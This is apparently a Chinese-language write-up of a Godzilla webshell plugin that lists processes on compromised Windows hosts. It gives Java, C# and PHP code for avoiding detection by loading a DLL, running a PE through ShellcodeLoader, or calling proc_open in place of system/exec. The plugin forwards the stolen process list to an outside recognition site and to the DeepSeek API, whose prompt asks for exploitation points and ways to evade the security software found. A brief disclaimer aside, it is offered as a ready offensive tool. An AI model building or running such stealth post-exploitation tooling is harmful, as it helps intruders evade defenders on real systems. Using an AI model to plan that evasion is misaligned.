GodzillaPlugin-tasklist
前言
在红队评估和渗透测试中,获取目标系统的进程列表是一项基础但关键的任务。通常,我们可以通过执行系统命令(如 tasklist
)来获取这些信息,但这种方法容易被安全产品检测和拦截。本文将详细介绍一个针对 Godzilla Webshell 的进程列表获取与分析插件,该插件实现了多种 Bypass 技术,可以在不同语言环境下高效、隐蔽地获取进程信息,并结合棱角识别和 DeepSeek AI 进行智能分析。支持特战版与4.0.1
一、插件概述
该插件是 Godzilla Webshell 的扩展模块,支持多种语言环境(C#、Java、PHP),提供了以下核心功能:
- 多种获取方式:支持常规命令执行和多种 Bypass 技术
- 自动识别:集成棱角识别服务,自动识别关键进程
- AI 分析:整合 DeepSeek API,提供专业的红队评估视角
- 跨平台支持:针对不同语言环境提供定制化解决方案
二、不同语言环境下的 Bypass 技术实现
1. C# 环境 (CShapDynamicPayload)
C# 环境下的 Bypass 实现主要通过加载自定义 DLL 并直接调用 .NET API 来获取进程列表,避免了执行系统命令。
核心实现:
private void loadAndExecuteDLL() {
new Thread(() -> {
try {
// 第一步:加载DLL
if (!this.loadState) {
// 从assets目录加载DLL
InputStream inputStream = this.getClass().getResourceAsStream("assets/TaskListHelper.dll");
// ...加载DLL代码...
this.loadState = this.payload.include(CLASS_NAME, data);
}
// 第二步:执行DLL获取进程列表
ReqParameter reqParameter = new ReqParameter();
byte[] result = this.payload.evalFunc(CLASS_NAME, "ToString", reqParameter);
// 显示结果
String output = this.encoding.Decoding(result);
// ...更新UI...
} catch (Exception ex) {
// ...错误处理...
}
}).start();
}
技术优势:
- 低检测风险:不调用系统命令,不会触发基于命令行监控的安全产品
- 高性能:直接调用 .NET API,性能更好
- 更丰富的信息:可以获取更详细的进程信息,如线程数、模块等
- 定制化输出:可以根据需求定制输出格式
2. Java 环境 (JavaDynamicPayload)
Java 环境下的 Bypass 技术利用 ShellcodeLoader 插件加载并执行自定义 PE 文件,实现进程列表获取。
核心实现:
private void loadAndExecutePE() {
new Thread(() -> {
try {
// 获取ShellcodeLoader插件实例
ShellcodeLoader loader = (ShellcodeLoader) this.shellEntity.getFrame().getPlugin("ShellcodeLoader");
// 从assets目录加载TaskListHelper.exe
InputStream inputStream = this.getClass().getResourceAsStream("assets/TaskListHelper.exe");
byte[] peData = functions.readInputStream(inputStream);
// 执行PE文件获取进程列表
byte[] result = loader.runNetPe("", peData);
// 解码结果
String output = this.encoding.Decoding(result);
// ...更新UI...
} catch (Exception ex) {
// ...错误处理...
}
}).start();
}
技术优势:
- 灵活性:可以执行任意 .NET PE 文件
- 功能扩展:可以在 PE 文件中实现更复杂的功能
- 隐蔽性:避免了直接命令执行,降低了被检测风险
- 兼容性:利用现有的 ShellcodeLoader 插件,无需额外组件
3. PHP 环境 (PhpDynamicPayload)
PHP 环境下的 Bypass 技术通过注入自定义 PHP 代码,使用 proc_open
函数代替常规命令执行函数,获取进程列表。
核心实现:
private void loadAndExecutePHP() {
new Thread(() -> {
try {
// 从assets目录加载tasklist.php
InputStream inputStream = this.getClass().getResourceAsStream("assets/tasklist.php");
byte[] phpCode = functions.readInputStream(inputStream);
// 加载PHP代码
if (this.payload.include("TaskListBypass", phpCode)) {
// 执行PHP函数获取进程列表
ReqParameter reqParameter = new ReqParameter();
byte[] result = this.payload.evalFunc("TaskListBypass", "getProcessList", reqParameter);
// 解码结果
String output = this.encoding.Decoding(result);
// ...更新UI...
}
} catch (Exception ex) {
// ...错误处理...
}
}).start();
}
PHP 代码实现:
class TaskListBypass {
public static function getProcessList() {
// 检查操作系统类型
if (stripos(PHP_OS, 'WIN') === false) {
return "此功能仅支持 Windows 系统\n";
}
// 使用proc_open代替system/exec
$command = 'tasklist /FO CSV /NH';
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = proc_open($command, $descriptorspec, $pipes);
// ...处理输出...
return self::formatOutput($output);
}
// ...格式化输出代码...
}
技术优势:
- 绕过函数限制:使用
proc_open
代替常见的system
/exec
/shell_exec
- 错误处理:完善的错误捕获和处理机制
- 格式化输出:将原始输出格式化为易读的表格形式
- 跨平台考虑:检查操作系统类型,确保兼容性
三、棱角社区接口
平常获取结果后会手动粘贴到棱角进行识别,太懒了,直接集成到插件。
https://forum.ywhack.com/bountytips.php?process
通过将获取的进程列表发送到棱角识别服务,可以快速识别出重要的系统进程和服务。
实现原理:
private void sendRecognitionRequest() {
new Thread(() -> {
String taskListText = taskListInputArea.getText();
try {
URL url = new URL("https://forum.ywhack.com/process.php");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// ...设置请求参数...
// 发送进程列表数据
String jsonInputString = "{\"text\":\"" + taskListText.replace("\n", "\\n").replace("\"", "\\\"") + "\"}";
// ...发送请求...
// 处理响应
String jsonResponse = response.toString();
String htmlTable = convertJsonToHtmlTable(jsonResponse);
// ...更新UI...
} catch (Exception ex) {
// ...错误处理...
}
}).start();
}
识别效果:
棱角识别会返回一个包含进程名称和对应功能的列表,帮助用户快速识别杀毒软件,办公软件,运维工具等进程
[bug]:
不知道为啥,必须Ctrl+a Ctrl+c Ctrl+v 才能获取结果。=.= 很莫名其妙
四、DeepSeek AI 分析
插件集成了 DeepSeek API,提供基于大型语言模型的专业进程分析能力,从红队评估的角度解读进程列表。
实现原理:
private void performAIAnalysis() {
new Thread(() -> {
try {
String taskListText = taskListInputArea.getText();
// 从配置中获取API Key
String apiKey = config.getProperty(API_KEY_PROPERTY, DEFAULT_API_KEY);
// 构造system prompt
String systemPrompt = "你是一名专注ATT&CK战术的红队专家,基于给出的Windows进程列表:\n" +
"1. 严格按【安全防护】【运维工具】【数据库/中间件】【办公与通讯软件】【可疑进程】分类\n" +
// ...更多提示...
// 调用DeepSeek API
URL url = new URL("https://api.deepseek.com/v1/chat/completions");
// ...发送请求和处理响应...
// 格式化分析结果
String formattedResult = formatAnalysisResult(analysisResult);
// ...更新UI...
} catch (Exception ex) {
// ...错误处理...
}
}).start();
}
分析内容:
DeepSeek AI 会对进程列表进行全面分析,包括:
- 分类整理:将进程按安全防护、运维工具、数据库/中间件、办公软件、可疑进程分类
- 风险评估:按风险等级排序,突出显示高风险项
- 利用点分析:提供每类进程的潜在利用点和具体方法
- 规避建议:针对安全软件提供规避方法
- 特殊标记:对多实例进程、随机名文件、无签名文件添加警告标记
五、用户界面与配置
插件提供了直观的用户界面,包括进程列表显示区域、多种获取按钮、识别和分析按钮,以及 API Key 配置功能。
界面组件:
// 按钮面板布局
JPanel buttonPanel = new JPanel(new FlowLayout(FlowLayout.CENTER));
buttonPanel.add(autoButton); // 常规命令获取
buttonPanel.add(bypassButton); // Bypass获取
buttonPanel.add(recognizeButton); // 棱角识别
buttonPanel.add(aiAnalyzeButton); // AI分析
buttonPanel.add(new JLabel("API Key:"));
buttonPanel.add(apiKeyField); // API Key输入框
buttonPanel.add(saveApiKeyButton); // 保存配置
配置管理:
插件使用 Java Properties 管理配置,将 API Key 保存在用户主目录下的 .godzilla
文件夹中:
private void saveApiKey() {
String apiKey = apiKeyField.getText().trim();
config.setProperty(API_KEY_PROPERTY, apiKey);
// 创建配置目录(如果不存在)
File configDir = getConfigDirectory();
if (!configDir.exists()) {
configDir.mkdirs();
}
// 保存配置文件
File configFile = new File(configDir, CONFIG_FILE_NAME);
// ...写入配置...
}
六、使用指南
1. 基本操作流程
- 连接目标:使用 Godzilla 连接到目标 Webshell
- 选择获取方式:
- 自动获取:使用常规命令执行
- Bypass获取:根据当前环境自动选择最佳 Bypass 方法
- 识别分析:
- 棱角识别:快速识别关键进程
- AI分析:获取深度安全分析报告
2. 不同环境下的使用建议
- C# 环境:优先使用 DLL 加载方式,性能最佳
- Java 环境:使用 runNetPe 执行方式,功能最丰富
- PHP 环境:使用 proc_open 方式,兼容性最好
- Linux 系统:使用 /proc 文件系统读取方式,最为隐蔽
3. API Key 配置
- 注册 DeepSeek 账号并获取 API Key
- 在插件界面的 API Key 输入框中填入
- 点击"保存配置"按钮保存
- 配置文件将保存在
~/.godzilla/tasklist_config.properties
七、技术对比与优势
获取方式 | 检测风险 | 功能丰富度 | 执行速度 | 适用环境 |
---|---|---|---|---|
常规命令执行 | 高 | 中 | 快 | 全平台 |
DLL加载 (C#) | 低 | 高 | 极快 | C# |
runNetPe (Java) | 中 | 高 | 快 | Java |
proc_open (PHP) | 中低 | 中 | 中 | PHP |
/proc读取 (Linux) | 极低 | 高 | 极快 | Linux |
八、安全建议
- 谨慎使用:本工具仅用于授权的安全评估和渗透测试
- 保护API Key:不要将包含 API Key 的配置文件提交到代码仓库
- 定期更新:关注最新的安全防护绕过技术,及时更新插件
- 合规使用:确保在合法授权的范围内使用工具
九、未来展望
- 更多Bypass技术:研究并实现更多的进程列表获取方法
- 跨平台支持增强:完善对不同操作系统的支持
- 本地AI分析:实现离线AI分析,减少API依赖
- 更丰富的进程信息:获取更详细的进程属性和关联信息
- 自动化利用:基于识别结果自动推荐利用方案
总结
本插件通过多种技术手段,实现了在不同语言环境下高效、隐蔽地获取进程列表的功能,并结合棱角识别和 DeepSeek AI 提供专业的分析能力。这种组合使得红队评估人员能够快速了解目标系统的运行状态,识别关键进程和潜在的攻击面,提高评估效率和质量。
无论是常规的渗透测试还是高级的红队评估,这个工具都能提供有价值的系统信息和专业的安全分析,是红队工具箱中的一个重要组件。